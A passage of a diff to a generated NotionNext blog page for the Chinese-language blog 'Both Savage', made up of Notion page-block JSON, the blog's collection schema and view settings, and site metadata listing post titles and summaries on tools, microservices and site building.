89-9ccd-cfaa0824d0c1","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"c28bcbf2-1f56-480b-be97-471efef9a57b":{"value":{"id":"c28bcbf2-1f56-480b-be97-471efef9a57b","type":"column","content":["86091e65-5361-476b-a0dc-7b3e61614386"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"1f3381bc-eb00-4d61-8f6e-5c5e09f4a5cd":{"value":{"id":"1f3381bc-eb00-4d61-8f6e-5c5e09f4a5cd","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1711119084264,"last_edited_time":1711119084264,"parent_id":"e47e97cd-2e5a-4f01-86c9-297f278a012c","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"b970c508-ada6-4cd2-be36-58fcc1de9201":{"value":{"id":"b970c508-ada6-4cd2-be36-58fcc1de9201","type":"text","properties":{"title":[["\n",[["i"]]],["        复仇工程",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711121470727,"parent_id":"5396a260-c16a-4da5-9324-b64f4d1a4f46","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"86091e65-5361-476b-a0dc-7b3e61614386":{"value":{"id":"86091e65-5361-476b-a0dc-7b3e61614386","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1711119084264,"last_edited_time":1711119084264,"parent_id":"c28bcbf2-1f56-480b-be97-471efef9a57b","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"82610ac2-030e-4a50-b944-af1127776438":{"value":{"id":"82610ac2-030e-4a50-b944-af1127776438","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"5396a260-c16a-4da5-9324-b64f4d1a4f46","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"db2f6108-70f4-48de-86ca-b786f1a84a61":{"value":{"id":"db2f6108-70f4-48de-86ca-b786f1a84a61","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"240322-angry"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverT